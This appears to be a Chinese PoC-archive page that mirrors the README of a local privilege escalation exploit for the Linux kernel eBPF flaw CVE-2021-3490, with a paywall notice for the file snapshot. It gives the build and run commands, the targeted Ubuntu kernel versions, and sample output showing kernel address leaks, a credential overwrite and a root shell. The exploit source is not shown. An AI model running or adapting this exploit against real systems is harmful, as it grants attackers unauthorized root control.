目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-3490 PoC — Linux kernel 缓冲区错误漏洞

来源
关联漏洞
标题: Linux kernel 缓冲区错误漏洞 (CVE-2021-3490)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在缓冲区错误漏洞。该漏洞源于发现按位操作(AND,OR和XOR)的eBPF ALU32边界跟踪不会更新32位边界。
介绍
# Linux_LPE_eBPF_CVE-2021-3490

LPE exploit for CVE-2021-3490. Tested on Ubuntu 20.04.02 and 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58.
and Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17.
The vulnerability was discovered by Manfred Paul [@_manfp](https://twitter.com/_manfp) and fixed in this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e).
    
author: [@chompie1337](https://twitter.com/chompie1337)

For educational/research purposes only. Use at your own risk.

## Usage:

To build for Ubuntu 20.04.02 and Ubuntu 20.10 (Groovy Gorilla):
```
make groovy
```
To build for Ubuntu 21.04 (Hirsute Hippo):
```
make hirsute
```
To run:
```
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
```

Note: You **must** cleanly exit the root shell by typing `exit` to perform cleanup and avoid a kernel panic.

Checkout the writeup [Kernel Pwning with eBPF: a Love Story](https://chompie.rip/Blog+Posts/Kernel+Pwning+with+eBPF+-+a+Love+Story).

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →